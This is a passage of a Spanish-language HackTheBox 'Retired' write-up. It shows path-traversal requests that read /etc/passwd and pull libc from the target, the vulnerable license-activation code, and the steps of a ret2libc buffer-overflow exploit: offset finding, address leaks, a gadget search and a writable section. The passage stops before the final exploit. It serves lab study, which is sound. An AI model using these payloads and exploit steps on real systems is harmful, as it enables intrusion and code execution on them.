&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/version [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;248&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/lastlog [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;390112&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/log/wtmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15360&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/var/run/utmp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1536&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;///////../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 25ms]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="activación-de-licencia-y-servicio-interno"&gt;Activación de licencia y servicio interno&lt;/h3&gt;
&lt;p&gt;Conseguimos el código de &lt;code&gt;beta.html&lt;/code&gt; y vemos un formulario que “activa la licencia”.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bc-8ace-d7531d7bbc47.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El formulario envía información a un puerto local. Esto apunta a un binario/servicio que recibe y procesa ese “licensefile”.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat activate_liscence.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(isset($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license = file_get_contents($_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $license_size = $_FILES[&lt;span style="color:#e6db74"&gt;&amp;#39;licensefile&amp;#39;&lt;/span&gt;][&lt;span style="color:#e6db74"&gt;&amp;#39;size&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!$socket) { echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_create()\n&amp;#34;&lt;/span&gt;; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (!socket_connect($socket, &lt;span style="color:#e6db74"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1337&lt;/span&gt;)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo &lt;span style="color:#e6db74"&gt;&amp;#34;error socket_connect()&amp;#34;&lt;/span&gt; . socket_strerror(socket_last_error()) . &lt;span style="color:#e6db74"&gt;&amp;#34;\n&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, pack(&lt;span style="color:#e6db74"&gt;&amp;#34;N&amp;#34;&lt;/span&gt;, $license_size));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_write($socket, $license);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_shutdown($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; socket_close($socket);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8035-b122-f028bb0d5115.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Efectivamente, el puerto está escuchando.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80f0-9b4c-c27bf883a742.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hacemos &lt;code&gt;strings&lt;/code&gt; buscando credenciales, pero lo más relevante son referencias a sqlite3, y pinta a que aquí viene lo divertido: &lt;strong&gt;Buffer Overflow&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="protecciones-del-binario"&gt;Protecciones del binario&lt;/h3&gt;
&lt;p&gt;Revisamos controles de seguridad.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-8c34-c35e12c2bf62.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Esto indica que no podemos ejecutar código desde el stack (NX). También vemos que los canaries no están activados, así que es viable un &lt;em&gt;stack-based buffer overflow&lt;/em&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="análisis-en-ghidra-el-bug"&gt;Análisis en Ghidra: el bug&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uint32_t msglen;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;char buffer [&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,&amp;amp;msglen,&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (sVar2 == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;piVar3 = __errno_location();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pcVar4 = strerror(*piVar3);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;error(pcVar4);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;msglen = ntohl(msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;printf(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] reading %d bytes\n&amp;#34;&lt;/span&gt;,msglen);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sVar2 = read(sockfd,buffer,(ulong)msglen);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este código es vulnerable porque &lt;code&gt;msglen&lt;/code&gt; está controlado por el usuario. Si enviamos un tamaño mayor que 512, &lt;code&gt;read()&lt;/code&gt; desbordará el &lt;code&gt;buffer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para continuar, tenemos que identificar el offset hasta el &lt;strong&gt;Saved RIP&lt;/strong&gt; (dirección de retorno). En x64, la dirección de retorno queda en la pila justo después de las variables locales, pero puede haber alineación, así que no asumimos que es exactamente 512.&lt;/p&gt;
&lt;h3 id="encontrar-el-offset-con-patrón"&gt;Encontrar el offset con patrón&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;gdb&lt;/code&gt; y un patrón.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pattern create 600&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80c4-b66f-f82d3890c574.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El exploit para determinar el offset:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800f-b547-e61ebe78a93f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El programa primero lee 4 bytes para saber cuánto mide el mensaje que vendrá después.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;len(msg)&lt;/code&gt;: calcula la longitud del patrón.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;p32(...)&lt;/code&gt;: empaqueta ese número en 4 bytes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;endian='big'&lt;/code&gt;: coincide con el &lt;code&gt;ntohl&lt;/code&gt; del C (network order = big endian).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al principio explota porque falta una base de datos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800c-930a-c3e868c90320.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Creamos una base de datos fake &lt;code&gt;license.sqlite3&lt;/code&gt; y ahora sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-884b-f5760ed48810.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;pattern search $rsp&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Por qué&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;$rsp&lt;/code&gt;****?&lt;/strong&gt;
En x64, cuando se ejecuta &lt;code&gt;RET&lt;/code&gt;, el procesador toma la dirección de retorno de donde apunta &lt;code&gt;RSP&lt;/code&gt;. Como nosotros sobreescribimos la pila con el patrón, ese valor está ahí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8002-834d-ec2cb03c947b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos un offset de &lt;strong&gt;520&lt;/strong&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="ret2libc"&gt;Ret2Libc&lt;/h2&gt;
&lt;p&gt;Con NX activo, no podemos ejecutar shellcode en la pila. La alternativa es &lt;strong&gt;Ret2Libc&lt;/strong&gt;: reutilizar funciones de &lt;code&gt;libc&lt;/code&gt; (por ejemplo &lt;code&gt;system()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Por ASLR, &lt;code&gt;libc&lt;/code&gt; cambia de dirección en cada ejecución, así que necesitamos filtrar las bases:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;actbase&lt;/code&gt;: base del binario &lt;code&gt;activate_license&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libcbase&lt;/code&gt;: base de la librería &lt;code&gt;libc&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para eso leemos &lt;code&gt;/proc/&amp;lt;PID&amp;gt;/maps&lt;/code&gt; del proceso &lt;code&gt;activate_license&lt;/code&gt;, y antes necesitamos el PID.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8033-bf92-ea7327b5531e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos PID (419).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80bd-906a-c86850e8748d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;activate_license&lt;/code&gt; → 55591a82b000&lt;/li&gt;
&lt;li&gt;&lt;code&gt;libc&lt;/code&gt; → 7ff574bbe000&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="offset-de-system-en-libc"&gt;Offset de &lt;code&gt;system()&lt;/code&gt; en libc&lt;/h3&gt;
&lt;p&gt;Descargamos &lt;a href="http://libc-2.31.so/"&gt;&lt;code&gt;libc-2.31.so&lt;/code&gt;&lt;/a&gt; del servidor para analizarla.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.227.&lt;span style="color:#ae81ff"&gt;96&lt;/span&gt;/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=a.....///.....///.....///.....///.....///.....///.....///usr/lib/x86_64-linux-gnu/libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so -o libc-&lt;span style="color:#ae81ff"&gt;2.31&lt;/span&gt;.so
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; nos permite localizar &lt;code&gt;system&lt;/code&gt; (offset &lt;code&gt;0x00048e50&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80cc-80a7-ea757c207ebc.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="pop-rdi-ret-y-zona-escribible"&gt;&lt;code&gt;pop rdi; ret&lt;/code&gt; y zona escribible&lt;/h3&gt;
&lt;p&gt;En x64, el primer argumento de una función va en &lt;strong&gt;RDI&lt;/strong&gt;, así que necesitamos un gadget &lt;code&gt;pop rdi; ret&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# ropper -f ../loot/activate_license --search &amp;#39;pop rdi; ret&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Load gadgets &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; section&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; LOAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] loading... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;LOAD&lt;/span&gt;] removing double gadgets... &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] Searching &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; gadgets&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INFO&lt;/span&gt;] File&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; ../loot/activate_license
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0x000000000000181b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; pop rdi; ret;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como no podemos dejar un comando largo “tal cual” en un registro, el enfoque es:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Buscar una zona &lt;strong&gt;escribible&lt;/strong&gt; (por ejemplo &lt;code&gt;.data&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Escribir ahí el comando en trozos.&lt;/li&gt;
&lt;li&gt;Llamar a &lt;code&gt;system()&lt;/code&gt; apuntando a esa dirección.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Con &lt;code&gt;rabin2 -S&lt;/code&gt; vemos secciones y permisos (por ejemplo &lt;code&gt;.data&lt;/code&gt; es &lt;code&gt;-rw-&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(root&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[/home/&lt;span style="color:#960050;background-color:#1e0010"&gt;…&lt;/span&gt;/Desktop/HTB/Retired/exploit]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;&lt;span style="color:#75715e"&gt;# rabin2 -S ../loot/activate_license&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Sections&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nth paddr size vaddr vsize perm type name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0x00000000 0x0 0x00000000 0x0 ---- NULL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; 0x000002a8 0x1c 0x000002a8 0x1c -r-- PROGBITS .interp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; 0x000002c4 0x24 0x000002c4 0x24 -r-- NOTE .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;note.gnu.build
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-id
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; 0x000002e8 0x20 0x000002e8 0x20 -r-- NOTE .note.ABI-tag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; 0x00000308 0x28 0x00000308 0x28 -r-- GNU_HASH .gnu.hash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; 0x00000330 0x390 0x00000330 0x390 -r-- DYNSYM .dynsym
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; 0x000006c0 0x1cc 0x000006c0 0x1cc -r-- STRTAB .dynstr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; 0x0000088c 0x4c 0x0000088c 0x4c -r-- GNU_VERSYM .gnu.version
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; 0x000008d8 0x30 0x000008d8 0x30 -r-- GNU_VERNEED .gnu.version_r
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; 0x00000908 0xd8 0x00000908 0xd8 -r-- RELA .rela.dyn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt; 0x000009e0 0x2d0 0x000009e0 0x2d0 -r-- RELA .rela.plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; 0x00001000 0x17 0x00001000 0x17 -r-x PROGBITS .init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt; 0x00001020 0x1f0 0x00001020 0x1f0 -r-x PROGBITS .plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt; 0x00001210 0x8 0x00001210 0x8 -r-x PROGBITS .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plt.got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;14&lt;/span&gt; 0x00001220 0x601 0x00001220 0x601 -r-x PROGBITS .text
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; 0x00001824 0x9 0x00001824 0x9 -r-x PROGBITS .fini
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; 0x00002000 0x18b 0x00002000 0x18b -r-- PROGBITS .rodata
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; 0x0000218c 0x4c 0x0000218c 0x4c -r-- PROGBITS .eh_frame_hdr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;18&lt;/span&gt; 0x000021d8 0x140 0x000021d8 0x140 -r-- PROGBITS .eh_frame
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt; 0x00002cb8 0x8 0x00003cb8 0x8 -rw- INIT_ARRAY .init_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; 0x00002cc0 0x8 0x00003cc0 0x8 -rw- FINI_ARRAY .fini_array
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt; 0x00002cc8 0x200 0x00003cc8 0x200 -rw- DYNAMIC .dynamic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; 0x00002ec8 0x138 0x00003ec8 0x138 -rw- PROGBITS .got
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;23&lt;/span&gt; 0x00003000 0x10 0x00004000 0x10 -rw- PROGBITS .data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; 0x00003010 0x0 0x00004010 0x8 -rw- NOBITS .bss
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;25&lt;/span&gt; 0x00003010 0x27 0x00000000 0x27 ---- PROGBITS .comment
